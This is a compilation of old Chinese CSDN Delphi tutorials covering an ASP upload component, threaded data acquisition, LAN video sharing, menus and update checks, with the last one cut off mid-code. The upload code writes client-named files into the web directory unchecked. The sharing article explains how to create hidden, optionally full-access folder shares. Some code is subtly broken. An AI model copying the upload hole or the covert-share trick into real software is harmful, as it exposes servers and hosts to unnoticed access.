在ＤＥＬＰＨＩ中选择菜单File＝》New...，在“New Item”对话框的ActiveX选项卡中选择“Automation Object”；然后在“Automation Object Wizard”对话框中输入Class Name(如“UploadFile”)，Instancing选择“Multiple Instance”即可，单击“OK”后ＤＥＬＰＨＩ会自动创建一个ＴＬＢ（Type Library）文件Project1_TLB.PAS和一个ＰＡＳ(Unit)文件Unit1.PAS。在Type Library设计窗口中，将Project1改名为MyUpload，则该文件上载组件的ＯＬＥ注册码为“MyUpload.UploadFile”。

３、引入ＡＳＰ类型库

为了使用ＡＳＰ的五个内建对象（Request、Response、Server、Application、Session），需要引入ＡＳＰ类型库。我们主要利用Request对象读取从客户端传递到服务器端的数据。

在Project菜单中选择“Import Type Library”，在“Import Type Library”对话框的“Type Libraries”列表选择“Microsoft Active Server Pages Object Library(Version 2.0)”（如果没有这个选项，请确定您的计算机上安装了ＩＩＳ３以上或ＰＷＳ４以上并且ASP.DLL已正确注册），ＤＥＬＰＨＩ会自动创建一个ＴＬＢ文件ASPTypeLibrary_TLB.PAS，其中有我们需要的ＡＳＰ对象类型声明。

４、定义OnStartPage、OnEndPage过程

当在ＡＳＰ页面上用Server.CreateObject创建一个ＯＬＥ对象实例时，ＷＥＢ服务器会调用其方法OnStartPage，将ＡＳＰ应用环境信息传递给该对象，我们可以在该过程中获取客户端信息；当在ＡＳＰ页面中释放一个ＯＬＥ对象实例时，ＷＥＢ服务器会调用其方法OnEndPage，我们可以在该过程中进行释放内存等结束操作。在我们这个组件中，我们要用到其OnStartPage方法。

OnStartPage方法应该在Unit1.PAS中定义，OnStartPage的函数原型为：

procedure OnStartPage(AScriptingContext: IUnknown);

其中参数AScriptingContext是一个IScriptingContext类型变量，包含五个属性（Request、Response、Server、Application、Session）分别对应ＡＳＰ的五个内建同名对象。

我们需要在ＴＬＢ定义窗口（View＝》Type Library）中，为IUploadFile增加方法OnStartPage，其Declaration语句为“procedure OnStartPage(AScriptingContext: IUnknown);”。

（二）提取客户端上传的数据

该工作可以放在OnStartPage过程中进行。

利用AScriptingContext的属性Request(类型为IRequest)中的属性TotalBytes（请求信息内容长度）和方法BinaryRead可将客户端上传的请求信息数据读取到一个Byte类型的数组中，然后按RFC1867标准定义的数据格式来分析和提取数据。

１、首先定义TUploadFile的几个私有变量

在单元文件UP01.PAS（由Unit1.PAS另存）中加入对ASPTypeLibrary_TLB.PAS的引用（Uses），

然后加入

private

FContentLength : LongInt;//请求信息内容长度

FContentData : Variant;//内容数据,以数组形式存储请求信息内容

FFileName, //要上载的文件名称

FDelimeter : string; //表单域分界符

FScriptingContext : IScriptingContext;//ASP处理上下文环境内容

FFileDataStart, //文件数据开始位置

FFileDataEnd : LongInt; //文件数据结束位置

２、提取客户端上传的请求信息数据

//在OnStartPage事件中，获取ASP上下文信息、请求信息内容、表单域的分界符、文件数据

procedure TUploadFile.OnStartPage(AScriptingContext: IUnknown);

var

ARequest : IRequest; //WWW请求对象

AOleVariant : OleVariant; //记录请求信息内容长度

intDelimterLength : integer;//分界符长度

longIndex,ALongInt,longPos : LongInt;

ContentData : AnsiString;//请求信息内容的字符串表示

strTemp : string;

FindEndOfFileData : boolean;//是否找到文件数据结束位置

begin

//提取客户端上传的请求信息数据

FScriptingContext := AScriptingContext as IScriptingContext;//获取ASP上下文信息

ARequest := FScriptingContext.Request;//获取WWW请求信息

FContentLength := ARequest.TotalBytes;//请求信息内容长度

//创建动态数组，用于以数组形式存储请求信息内容

FContentData := VarArrayCreate( [0,FContentLength], varByte );

//将请求信息内容存储到数组中

AOleVariant := FContentLength;

FContentData := ARequest.BinaryRead( AOleVariant );//读取请求信息内容

//将请求信息内容转化为字符串，便于定位

ContentData := '';

for longIndex := 0 to FContentLength - 1 do

begin

ContentData := ContentData + chr( Byte( FContentData[ longIndex ] ));

if FContentData[ longIndex ] = 0 then break;//0表示内容结束

end;

３、获取分界符、上载文件名称

//获取表单域的分界符

longPos := pos( #13#10,ContentData );//回车换行符所在位置

FDelimeter := Copy( ContentData,1,longPos-1);//该位置之前的内容为分隔符

//获取带源路径的文件名称，在请求信息内容中，文件名称以

//filename="path/filename"的形式存储

strTemp := 'filename="';//文件名称在“filename="”之后

longPos := pos( strTemp, ContentData );//获取“filename="”位置

if longPos <= 0 then

begin

FFileName := '';

FFileDataStart := -1;

FFileDataEnd := -2;

exit;

end;

//获取下个双引号“"”之前的内容，即带源路径的文件名称

longPos := longPos + length( strTemp );

strTemp := '';

for longIndex := longPos to FContentLength - 1 do

if ContentData[ longIndex ] <> '"' then

strTemp := strTemp + ContentData[ longIndex ]

else break;

FFileName := strTemp;

４、获取文件数据的在请求信息内容中的开始、结束位置

//文件数据开始位置在文件名称后的第一个#13#10#13#10之后

delete( ContentData, 1, longIndex );

strTemp := #13#10#13#10;

FFileDataStart := longIndex + pos(strTemp, ContentData) + length(strTemp) - 1;

//文件数据结束位置在下一个#13#10和分界符之前

//由于文件数据可能包含非法字符，不能再用字符串定位函数POS

//查找下一个分界符的位置

FFileDataEnd := FFileDataStart;

intDelimterLength := length( FDelimeter );

FindEndOfFileData := false;

while FFileDataEnd <= FContentLength - intDelimterLength do

begin

FindEndOfFileData := true;

for ALongInt := 0 to intDelimterLength - 1 do

if Byte( FDelimeter[ ALongInt + 1 ] ) <>

FContentData[ FFileDataEnd + ALongInt ] then

begin

FindEndOfFileData := false;

break;

end;

if FindEndOfFileData then break;

FFileDataEnd := FFileDataEnd + 1;

end;

if not FindEndOfFileData then FFileDataEnd := FFileDataStart - 1//未找到分界符

else FFileDataEnd := FFileDataEnd - 3;//分界符,向前跳过#13#10

end;

（三）向ＡＳＰ程序传递信息

在进行了（二）的操作之后，我们的上载组件可以根据ＡＳＰ程序的要求向其传递数据了。目前可以提供的数据有：客户端源文件名称（FFileName，含路径）、文件大小（FFileDataEnd-FFileDataStart+1）。

首先应该在ＴＬＢ设计窗口中声明如下两个方法GetFileName和GetFileSize。

１、返回客户端源文件名称（含路径）

//返回客户端源文件名称（含路径）

function TUploadFile.GetFileName: OleVariant;

begin

result := FFileName;//客户端源文件名称（含路径）

end;

２、返回文件大小

//返回文件大小（Bytes）

function TUploadFile.GetFileSize: OleVariant;

begin

result := FFileDataEnd - FFileDataStart + 1;

end;

（四）保存文件

在进行了（二）的操作之后，我们的上载组件可以根据ＡＳＰ程序的要求保存文件了。首先应该在

ＴＬＢ设计窗口中声明如下两个方法SaveFileAs和SaveFile。

１、按指定文件名称保存文件

//按指定的文件名称保存文件，参数FileName为指定的文件名称，返回值True表示文件保存成功

function TUploadFile.SaveFileAs(FileName: OleVariant): OleVariant;

var

longIndex : LongInt;

AFile : file of byte;//以二进制的形式保存文件

byteData : Byte;

begin

result := true;

try

assign( AFile, FileName );

rewrite( AFile );

for longIndex := FFileDataStart to FFileDataEnd do

begin

byteData := Byte( FContentData[ longIndex ] );

Write( AFile, byteData );

end;

CloseFile( AFile );

except

result := false;

end;

end;

２、按缺省文件名称保存文件

//按缺省文件名称保存文件，将文件以同名文件保存在调用页面所在目录

function TUploadFile.SaveFile: OleVariant;

var

CurrentFilePath : string;

begin

//获取调用页面所在目录

CurrentFilePath := FScriptingContext.Request.ServerVariables['PATH_TRANSLATED'];

CurrentFilePath := ExtractFilePath( CurrentFilePath );

//保存文件

result := SaveFileAs( CurrentFilePath + ExtractFileName( FFileName ));

end;

三、上载组件应用举例

在我们的例子中，DelphiUp.HTM是文件上载界面，DelphiUp.ASP用来执行文件上载操作。

DelphiUp.ASP的代码如下：

<!--DelphiUp.ASP：文件上载处理页面-->

<html><head><title>文件上载</title></head><body>

<% dim Upload, FileName

set Upload = Server.CreateObject("MyUpload.UploadFile")

FileName = Upload.GetFileName

Response.Write "<br>正在保存文件《"&FileName&"》......"

if Upload.SaveFile then

Response.Write "<br>文件《"&FileName&"》上载成功。"

Response.Write "<br>文件大小为"&Upload.GetFileSize&"字节。"

else

Response.Write "<br>文件《"&FileName&"》上载失败。"

end if

set Upload=nothing %>

</body></html>

四、几点说明

１、由ＤＥＬＰＨＩ自动生成的源代码编译的ＤＬＬ文件大小有２１５Ｋ，可以在

ASPTypeLibrary_TLB.PAS的Interface段中将Uses中的单元除ActiveX外全部删除，在

MyUpload_TLB.PAS中删除Uses中所有单元，则生成的ＤＬＬ文件大小可减少到６１Ｋ。

２、以上方法同样适用于ＣＧＩ程序，不过要用TWebRequest对象。

以上程序在PWIN98+Delphi3.0+PWS4.0下调试通过。


CSDN_文档中心_用Delphi在工业控制和自动化实现多线程进行数据采集

数据采集技术在工业控制及自动化等领域中发挥着重要的作用。数据采集的一般过程是这样的：

①向采集卡发出通道选择指令。②选择要采集的通道号。③启动A/D转换。④等待，直到转换完成。⑤从采集卡读出数据。对于多通道的采集，在程序的设计中，一般采用的两种方法。查询法或中断法。所谓查询方法就是采用一个循环，依次采集各个数据通道。查询法的优点是程序简单，易于实现；缺点是采集过程中，CPU多数时间是在等待，造成资源的浪费。中断法是采用硬件中断的形式&#0;&#0;先启动A/D转换，在转换结束时发出一中断信号&#0;&#0;CPU响应采集卡的中断时读出所采集的数据。这样，在等待转换的时间里，CPU可以进行其他的计算工作，而不用处于等待状态。中断法的优点是资源能充分利用；但是程序设计复杂，尤其是当系统的硬件中断资源紧张时，很容易造成中断冲突；另外，在Windows或Win95等操作系统中，不允许用户安装中断处理程序时，则无法实现。

---- 以上讨论的两种方法都是在DOS下的方法；在Win95下，现在有了一个更好的方法&#0;&#0;多线程技术。现在，我们可以利用多线程技术来进行数据采集。

---- 1. 采用多线程进行数据采集的优点

---- Win95/98最让人喜爱的除了漂亮的界面以外，就是多线程与多任务了。DOS环境中，执行中的程序可以独占全部的资源；在Windows环境中，虽然它是一个略具雏形的多任务环境，但是只要你喜欢，你的程序仍然可以掌握所有的CPU时间。但是，在Windows95以及Windows NT中，一个程序无法独占所有的CPU执行时间。而且，一个程序也不是从头到尾一条线。相反，一个程序在执行中可以分为多个程序片段，同时执行。这些能同时执行的程序片段称为线程。在Windows 95以及Windows NT中，操作系统同一时间可以轮流执行多个程序，这就是多任务。

---- 采用多线程进行数据采集可以有效地加快程序的反应速度、增加执行的效率。一般的程序中都要处理用户的输入，但用户的输入速度与CPU的执行速度相比就向走路与做飞机一样。这样，CPU就将浪费大量的时间用来等待用户的输入（如在DOS环境中）。如果采用多线程，那么就可以用一个线程等待用户的输入；另一个线程进行数据处理或其他的工作。对于数据采集程序，可以用一个单独的线程进行数据采集。这样，能最大限度的保证采集的实时性，而另外的线程同时又能及时地响应用户的操作或进行数据处理。否则，程序在采集数据时就不能响应用户的操作；在响应用户操作时就不能进行数据采集。尤其当采集的数据量很大，数据处理任务很重时，如果不采用多线程，采集时的漫长的等待是很让人接受的。

---- 但是，多线程要比普通程序设计复杂得多。由于任一时刻都可能有多个线程同时执行，所以，许多的变量、数据都可能会被其他线程所修改。这就是多线程程序中最关键的线程间的同步控制问题。

---- 2. 多线程进行数据采集应解决的问题

---- 其实，多线程程序设计复杂是暂时的；如果，你采用传统的C进行多线程的设计，那么你必须自己控制线程间的同步。那将是很复杂的。但是，如果利用面向对象的设计方法，采用Delphi进行多线程程序设计，问题就简单多了。这是因为，Delphi已将多线程的复杂性替我们处理了，我们所要做的就是继承。

---- 具体地说，多线程数据采集需要完成以下工作：

---- ① 从TThread类派生一个自己的类SampleThread。这就是我们用于数据采集的类。进行采集时，只需要简单地创建一个SampleThread的实例。

---- ② 重载超类TThread的Execute方法。在这一方法中将具体地执行数据采集任务。

---- ③ 如果希望一边采集一边显示，就在编写几个用于显示采集进度的过程，供Execute方法调用。

---- TThread类中最常用的属性/方法如下：

Create方法：constructor Create

(CreateSuspended: Boolean);

---- 其中CreateSuspended参数确定线程在创建时是否立即执行。如果为True，新线程在创建后被挂起；如果为False，线程在创建后立即执行。

FreeOnTerminate属性：

property FreeOnTerminate: Boolean;

---- 该属性确定程序员是否负责撤消该线程。如果该属性为True，VCL将在该线程终止时自动撤消线程对象。它的缺省值为False。

OnTerminate属性：

property OnTerminate: TNotifyEvent;

---- 该属性指定一个当线程终止时发生的事件。

---- 下面看一个具体的例子：

---- 3. 多线程数据采集的实现

---- 这是笔者开发的一个测抽油机功图的程序。它的功能是采集抽油机悬点的载荷及位移数据，经过处理后做出抽油机的功图。图1(略)所示是数据采集时的界面。点“采集数据”按钮后，程序将创建一新的线程，并设置其属性。这一新线程将完成数据采集任务。程序如下：

Procedure TsampleForm.

DoSampleBtnClick(Sender: TObject);

Begin

ReDrawBtn.Enabled := True;

DoSampleBtn.Enabled := False;

FFTBtn.Enabled := True;

TheSampler := SampleThread.Create(False);

创建采集线程

TheSampler.OnTerminate := FFTBtnClick;

采集完成后要执行的任务

TheSampler.FreeOnTerminate := True;

采集完成后撤消

End;

---- 采集线程的类定义如下：

Type

SampleThread = class(TThread)

Public

function AdRead(ach: byte): integer; safecall;

读A/D卡的函数

procedure UpdateCaption;

显示采集所用时间

private

{ Private declarations }

protected

thes, thep: real;

dt: real;

id: integer;

st, ed: LongInt;

procedure Execute; override;

这是关键。

End;

---- 在这个类中定义了一个函数AdRead用于操作A/D卡，两个过程用于显示采集的进度与所用时间。需要注意的是AdRead函数是用汇编写的，参数调用格式必须是safecall。

---- 关键的重载方法Execute的代码如下：

Procedure SampleThread.Execute;

Begin

StartTicker := GetTickCount;

id := 0;

Repeat

thes := Adread(15) * ad2mv * mv2l;

采集第15通道

thep := Adread(3) * ad2mv * mv2n;

采集第3通道

dt := GetTickCount - StartTicker;

sarray[id] := thes;

parray[id] := thep;

tarray[id] := dt;

inc(id);

Synchronize(UpdateCaption);

注意：显示采集进度

Until id >=4096;

ed := GetTickCount;

Synchronize(ShowCostTime);

注意：显示所用时间

end;

---- 从以上代码中可见，Execute与一般的代码并无本质区别。仅有的区别是显示采集进度和显示所用时间时，不能直接调用各自的过程，而是通过调用Synchronize间接地调用。这样作是为了保持进程间的同步。

---- 4. 结论

---- 以上的程序采用Delphi 4.0编程，在AMD-K6-2/300上实现。测试结果是这样的：采用多线程，采集4096个点一般耗用10～14s的时间；如果不采用多线程则需要1分钟到1分半。可见多线程可明显提高程序的执行效率。

Sell everywhere, sell often.


CSDN_文档中心_用Delphi在局域网中实现网上影院

<<家庭电脑世界>>
<<家庭电脑世界>>稿件
用Delphi在局域网中实现网上影院
陈经韬
相信用过<<超级解霸>>的人都知道里面有个"接收网络DVB广播",可以在局部网中实现一台计算机播放视频文件而另一台接收.因为DVB设计的知识面太广,下面我们用另外一个巧妙的思路来实现局部网中的"网络播放".因为涉及到多媒体文件的播放,所以我们在程序中使用了一个 Mediaplay控件,但是很多使用过这个控件做播放器的人都遇到过这样一个问题:就是在播放MPG等扩展名的文件时出现"MCI初始化错误",如果安装了WindvdPlayer后又没有问题了,怎么回事呢?现在市面上所有的有关DELPHI多媒体编程的书都没有讲到这个问题和如何解决.原来,我们要自己修改win.ini里面[mci extensions]小节,另外还要修改一下system.ini里面的[mci]小节.举例说,你想让Mediaplay可以播放MPG为扩展名的文件时,可以按照如下格式修改:
[mci extensions]
mpeg=MPEGVideo
mpg=MPEGVideo
...
在这里,我们写了个自定义函数WriteMciConfig来达到这一目的,详细代码请看源程序.
解霸的左右声道设置好像也没有什么书籍介绍如何实现,实际上我们可以调用底层API函数mciSendString,不过好像只对Wav,Mid等音频文件有效.比如说左声道设置:
mciSendString('set all audio all off',nil,0,Handle);
mciSendString('set all audio left on',nil,0,Handle);
先把所有声道关闭,然后打开左声道.如果你设计过防火墙,会发现有些防火墙也是这样的:先关上所有端口,然后打开常用的端口.注意:因为这里调用了多媒体方面的API,所以程序必须加上MMsystem这个单元,否则将无法编译.
还有一个难点就是如何实现全屏幕播放.可能读者会说:先把Form的BorderStyle动态设置为BsNone,再把Form的WindowState:=wsMaximized不就行了吗?呵呵,是吗?你试试看.结果播放屏幕的视频不见了.只看到一个光秃秃的面版.解决的方法是用API函数:
SetWindowLong(Handle,GWL_STYLE,GetWindowLong(Handle,GWL_STYLE) and (not WS_CAPTION));
动态把窗口标题栏隐藏起来,再最大化.另外,为了保持窗口最大化后播放的尺寸仍然保持跟窗口大小融合,必须在窗口的OnResize事件中写上MediaPlayer1.DisplayRect:=Panel1.ClientRect;另外,程序中还有"弹出CD-ROM",文件拖放,音量控制等功能,读者可自行参考代码,均附了注释.
实际上,我们上面的程序已经是一个功能比较完善的"多媒体播放器"了,下面我们就来添加我们的"网络播放"功能.
先来热热身.
大家知道,局部网中大家互相访问对方共享的文件夹时,可以直接在IE的地址栏输入如"\\机器名\共享名"形式来打开.比如说电脑Boy的共享文件夹mpgfile下有一个MPG文件Andy.mpg,则平时我们就可以用"\\Boy\mpegfile\Andy.mpg"来打开它.聪明的读者可能已经想到,把这个名称传给播放器不就可以播放了吗?对!我们的程序原理是这样的:甲机播放视频文件时,动态把文件所在目录"隐形"共享,并打开一个Socket服务进行监听,当客户Socket连接时把文件完整的路径和名称发送过去,客户机取得名称后赋给Mediaplay控件的Filename即可进行播放.
但是现在问题又来了:
一:如何实现"动态共享"?你总不能叫用户自己去击鼠标共享吧?
二:如何实现"隐形共享"?这里的"隐形"包括两方面:比如说Boy共享了一个文件夹,那么必须做到同一个局部网的用户打开"网上邻居"时看不见该文件夹.另外,用户在Boy上共享的文件夹击鼠标右键的"共享"一项里看不到该文件夹共享.
共享文件夹可以通过修改注册表,而且在DELPHI中操作注册表也很简单.但是通过修改注册表实现共享必须在电脑重新启动后才生效,即使你用API向系统广播注册表内容已经改变的消息也无效.但是为什么Windows系统本身可以实现动态共享?它肯定调用了什么东西.是什么呢?原来在Win9X下它调用了SVRAPI.DLL中的一个函数:NetShareAdd,在NT/2000下则是NETAPI32.DLL.其实有很多所谓的"系统漏洞",比如说在Win9x下动态隐藏自己的功能就是系统自己本身用的用来运行某些系统程序的功能,而不是什么漏洞.只不过是微软不公布,后来有人发现了才叫"漏洞".跟踪系统和分析系统可以让你跟系统更加靠近.因为网络共享这个不是我们的主题,所以下面只给出实现的单元My_Share(见源代码),感兴趣的朋友可自行翻阅相关资料.调用规则如下:
删除一个共享:DeleteShare(nil, Pchar(共享名称));
添加一个只读共享:
ShareResource(nil, pchar(路径), Pchar(共享名称), Pchar(共享说明),STYPE_DISKTREE,SHI50F_RDONLY,'','');
添加一个完全共享:
ShareResource(nil, pchar(路径), Pchar(共享名称), Pchar(共享说明),STYPE_DISKTREE,SSHI50F_FULL,'','');
好,第一个问题解决了,下面来解决第二个.我也不想浪费纳税人的金钱了.具体方法如下:
一:添加一个参数SHI50F_SYSTEM,这样一来在共享的文件夹击右键的"共享"里面就看不到自己的文件夹共享了.
如:ShareResource(nil, pchar(路径), Pchar(共享名称), Pchar(共享说明), STYPE_DISKTREE, SHI50F_RDONLY or SHI50F_SYSTEM, '', '');
二:共享文件夹时在共享名称后面加上一个$符号,这样一来打开"网上邻居"就看不见共享的文件夹了,但是还是可以访问.
如:\\Boy\Myfile$
好,到这里我们的具有"网络播放"功能的播放器就完成了.程序代码很粗糙,没有作过多容错检查,请读者自行完善.另外,在程序中文件进度的拖放我们用的是Delphi自身带的TrackBar控件,所以在播放时有时会出现稍微短暂的停顿,建议读者改用其它控件比如说Trackbar95.为了功能的完整性和照顾没有第三方控件的读者,我们这里保留了该控件.
补充:
1:本程序在Pwin98第二版+100M局部网上调试通过.
2:本程序可以改进的地方:不用Socket控件改用UDP来广播,实现不用输入对方IP地址完全"傻瓜式"网络播放.或者用一台电脑做服务器,共享多个文件供客户端有选择的播放.实验证明:在100M局部网上一个文件可以同时供7-8个用户同时播放而速度无停滞.
3:真正的"网络播放"一般是采用传输流来实现,具体代码可到我站点下载.

★作者:

陈经韬

430074湖北省武汉市武昌民院路湖北经济管理大学计算机系(本)9801班
Home:http://Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com

©CopyRight 2000-2001


CSDN_文档中心_用delphi制作抖动窗体

以下程序将教你如何制作一个窗体,窗体一旦运行将在屏幕上不断抖动.

定义两个变量:

var

BackLeft,BackTop,I:integer;

//保存窗体的left

BackLeft := Left;

//保存窗体的top

BackTop := Top;

//其中number可由你设置一个灵活的数字,当然值由你定

for I:=1 to Number do

begin

//水平抖动
Left:= (BackLeft-10) + (Random(20));

//垂直抖动
Top := (BackTop-10) + (Random(20));

end;
//备份窗体的left
Left := BackLeft;

//备份窗体的top

Top := BackTop;


CSDN_文档中心_用Delphi制作个性化的菜单

用Delphi制作个性化的菜单

www.netgocn.com

在应用程序编写中，使用个性化的菜单可以美化界面，展示个性风彩。例如3721网站推出的《3721网络特快》应用程序中的菜单就是一例。从其Windows编程的角度来说它仅是一个自绘式菜单而已。本文就使用Delphi制作这样的个性化菜单作出说明(本文以Delphi4.0为例)，制作一个可以有背景图、鼠标在上移动选择时的背景色有渐变色效果的彩色菜单。

一、关于Delphi中的自绘式菜单

要将Delphi的菜单(TMainMenu 或TPopupMenu)控件（Component）设为自绘式，有两种不同的情况：
① 如果菜单上没有图标(即，没有设定其Images属性)，则必须将菜单控件的OwnerDraw属性设为True，菜单为自绘式。
② 菜单上有图标(即，已设定其Images属性)，菜单为自绘式。

在此，我们必须首先把准备将其制作成有个性特征的菜单设为自绘式。

二、关于背景的重绘

通常Windows程序的标准菜单，在其被下拉或弹出时，鼠标在上移动时出现的选择条背景是一单一的颜色，现在我们要将其重绘为有渐变色效果的背景，另外如果要在其背景上绘制图形（您见过这样的菜单吗？），则应先绘图、后绘渐变的背景。这些绘制工作的完成只需简单使用Delphi提供的画布（Canvas）对象。

三、关于重绘图标

如果菜单上有图标，则最好为各菜单项指定ImageIndex索引号，而不要使用其Bitmap属性。这样在为各菜单项指定了ImageIndex索引号后，可以直接用其TImageList的Draw方法在同一个画布上绘制相应的图标。

四、关于重绘菜单文本

在重绘菜单时，为了不破坏其背景，应将文本的背景模式设为透明，这要用到一个Windows API函数SetBkMode()，其在C++中定义的原形如下：
int SetBkMode(

HDC hdc,

int iBkMode // flag specifying background mode

);

其中：hdc – 是绘图设备句柄，在Delphi中可为Tcanvas的Handle属性；

iBkMode – 指定的背景模式标识符，有OPAQUE 和TRANSPARENT两个
常量取值，取TRANSPARENT时，为透明模式。

设置了背景模式后，可以使用TCanvas的TextOut方法绘制菜单文本。

五、响应自绘式菜单的OnDrawItem事件
为菜单项的OnDrawItem事件添加代码，完成想要完成的重绘工作，如下所示（M_Item1_1是菜单项名称）：

procedure TForm1.M_Item1_1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

//调用自定义过程--重绘菜单项

DrawItem(TMenuItem(Sender), ACanvas, ARect,Selected);

end;

六、二个示例

㈠　以下是实现上述个性化菜单的自定义过程DrawItem的一个示例的代码。但需作如下说明：

① 在其Delphi工程的主窗口上有一个TCoolBar控件CoolBar1，其上又放了一个TToolBar控件，并且TCoolBar的Bitmap属性不为空（即为其指定了图象）。

② 主窗口上有一个TPopupMenu 控件PopupMenu1、一个TImageList控件ImageList1，其PopupMenu1的Images属性等于ImageList1。

③ TToolBar的Transparent属性为True，并且上面的工具按钮的MenuItem属性分别与相应的菜单项相关联（注意，这是用工具条、工具按钮和弹出式菜单制作主菜单的方法，应将工具按钮的Grouped属性全部设为True）。

代码如下：

procedure TForm1.DrawItem(Item:TMenuItem; ACanvas: TCanvas; ARect: TRect;

Selected: Boolean);

var

dc,y,i,j,xb,xe:integer;

begin

//设置字体和其前景色

ACanvas.Font := Screen.IconFont;

SetBkMode(ACanvas.Handle,TRANSPARENT); //设背景为透明

//根椐菜单宽度计算渐变背景色的填充色增量;当菜单宽度大于256时没有渐变较果

dc:=ACanvas.ClipRect.Right-ACanvas.ClipRect.Left;

dc:=(256 div dc);

dc:=dc*256;

//计算渐变背景色的填充起点

xb:=ARect.Left + ImageList1.Width+2;

//计算渐变背景色的填充终点

xe:=ARect.Right-xb;

//绘制背景图

ACanvas.StretchDraw(Rect(0,0,ACanvas.ClipRect.Right,ACanvas.ClipRect.Bottom),

CoolBar1.Bitmap);//非平辅方式绘制

//绘制菜单项文本

for j:=0 to Item.Parent.Count -1 do

begin

y:=19*j+4;

ACanvas.TextOut(ARect.Left+20,y,Item.Parent.Items[j].Caption);//front color is black font

end;

//绘制当前选择的菜单项

if Selected then begin

for i:=0 to xe do begin

ACanvas.Brush.Color := $002222FF+i*dc; //背景的填充色，$002222FF为起始色

ACanvas.FillRect(Rect(xb,ARect.Top,xb+1,ARect.Bottom));

inc(xb);

end;

ImageList1.Draw(ACanvas,ARect.Left+1,ARect.Top+1,0,true); //在左边绘制图标

ACanvas.Font.Color:=clWhite; //被选中时的字体前景色是白色

SetBkMode(ACanvas.Handle,TRANSPARENT); //必须重设背景模式为透明

ACanvas.TextOut(ARect.Left+20,ARect.Top+4,Item.Caption);//front color,which is white font

end;

end;

在各菜单项的OnDrawItem事件处（如五所示）均调用此过程，运行程序可以看到一个有背景图、所选菜单项左边有一个图标且背景色是由红到黄渐变的菜单。

㈡　以下是实现上述个性化菜单的自定义过程DrawItem的另一个示例的代码。为一个有图标的弹出式菜单，不作过多的说明了。

procedure TForm1.DrawItem(Item:TMenuItem; ACanvas: TCanvas; ARect: TRect; Selected: Boolean);

var

i,xb:integer;

begin

//设置字体和其前景色

ACanvas.Font := Screen.IconFont;

ACanvas.Brush.Color := clBtnFace;

ACanvas.FillRect(ARect);

ACanvas.TextOut(ARect.Left+20,ARect.Top+4,Item.Caption);

if Selected then begin

//绘制当前选择的菜单项

xb:=0;

for i:=0 to ARect.Right do begin

ACanvas.Brush.Color :=clTeal+i*$100;//gradient back color

ACanvas.FillRect(Rect(xb,ARect.Top,xb+1,ARect.Bottom));

inc(xb);

end;

ACanvas.Font.Color:=clWhite;//被选中时的字体前景色是白色

SetBkMode(ACanvas.Handle,TRANSPARENT);

ACanvas.TextOut(ARect.Left+20,ARect.Top+4,Item.Caption);

end;

ImageList1.Draw(ACanvas,ARect.Left+1,ARect.Top+1,Item.ImageIndex,true);//绘制左边的图标

end;

同理，应在各菜单项的OnDrawItem事件处均调用此过程。

七、小结

使用自绘式菜单，对整个菜单进行全面的重绘，可以任其想象发挥，绘出五颜六色的个性化菜单，极大地丰富程序界面。
此外，用此方法虽然简单但较率较低，不适合做要求较高的软件。高级的做法是全部使用WindowsAPI和消息。
需要示例示源代码的，请到www.netgocn.com留言，一定给你。


CSDN_文档中心_用DELPHI制作在线程序升级信息查询

越来越多的程序支持在线升级功能，本文介绍的就是如何从网站获取升级信息。这里我主要使用版本信息来检测是否需要下载升级版本。
大致原理如下：
1、放置信息文本到网站。
2、使用TNMHTTP从网站信息文本获取文本内容。
3、分析文本解析所需信息。
4、比较程序版本提供升级信息。
首先，我们放置一个信息文本到自己的网站，这个文本有自己的文件格式，我定义了如下的格式：
[update]
<ver>1.79.9.25</ver>
<url>http://delphibox.com/softm/3_update.zip</url>
<date>2002-9-25</date>
[/update]
我们可以将它保存为update.txt文件，使用[]<>的标示符将信息分类，这里包含了程序名、版本、更新日期和下载地址。这里我假使上传到http://2ccc.com/update.txt。
然后我们使用TNMHTTP组件从网站获取此文件的内容：
function TForm1.GetUpdateText:String;
begin
NMHTTP1.InputFileMode := FALSE;
NMHTTP1.OutputFileMode := FALSE;
NMHTTP1.ReportLevel := Status_Basic;
NMHTTP1.Get('http://2ccc.com/update.txt'); { 获取网站文本 }
Result:=NMHTTP1.Body;
end;
获取文本以后，我们要将其中的信息分离，我使用了如下的函数：
function TForm1.AnalyseUpdate(Body:String;var Update:TUpdate):Boolean;
var
TmpStr,Ver:String;
function CenterStr(Src:String;Before,After:String):String;
{ 这个函数用来分离两个字符串中间的字符串，
例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
Pos1,Pos2:WORD;
begin
Pos1:=Pos(Before,Src)+Length(Before);
Pos2:=Pos(After,Src);
Result:=Copy(Src,Pos1,Pos2-Pos1);
end;
begin
TmpStr:=CenterStr(Body,'update'); { 得到程序名间的升级信息 }
if TmpStr='' then
Result:=False else { 找不到此文件升级信息 }
begin
Ver:=CenterStr(TmpStr,'<ver>','</ver>');
Update.Version:=SeparateVerStr(Ver); { 解析版本 }
Update.Date:=StrToDate(CenterStr(TmpStr,'<date>','</date>')); { 解析日期 }
Update.URL:=CenterStr(TmpStr,'<url>','</url>'); { 解析升级地址 }
Result:=True;
end;
end;
其中TUpdate是我定义的信息的记录格式：
TSimpleVersion=record { 简化的版本信息 }
dwProductVersionMS: DWORD; { 主版本 }
dwProductVersionLS: DWORD; { 辅版本 }
end;
TUpdate=record { 升级信息 }
Name:String[63]; { 程序名 }
Version:TSimpleVersion; { 版本 }
Date:TDate; { 日期 }
URL:ShortString; { 下载地址 }
end;
而SeparateVerStr()函数是将得到字符串形式的升级版本信息转换为简化的版本信息格式：
function SeparateVerStr(s:String):TSimpleVersion;
const
Separator='.'; { 以为'.'分割符 }
var
p,v1,v2,v3,v4:WORD;
begin
if Length(s)=0 then Exit;
p:=pos(Separator, s);
v1:=StrToInt(copy(s,1,p-1));
Delete(s,1,p);
p:=Pos(Separator,s);
v2:=StrToInt(copy(s,1,p-1));
Delete(s,1,p);
p:=Pos(Separator,s);
v3:=StrToInt(copy(s,1,p-1));
Delete(s,1,p);
v4:=StrToInt(s);
Result.dwProductVersionMS:=v1*$10000+v2;
Result.dwProductVersionLS:=v3*$10000+v4;
end;
最后要做的就是比较文件的版本信息，先得到自己的版本，我使用如下的函数：
function GetBuildInfo(FName:string):TSimpleVersion; { 得到自身版本信息 }
var
VerInfoSize: DWORD;
VerInfo: Pointer;
VerValueSize: DWORD;
VerValue: PVSFixedFileInfo;
Dummy: DWORD;
begin
VerInfoSize := GetFileVersionInfoSize(PChar(FName), Dummy);
GetMem(VerInfo, VerInfoSize);
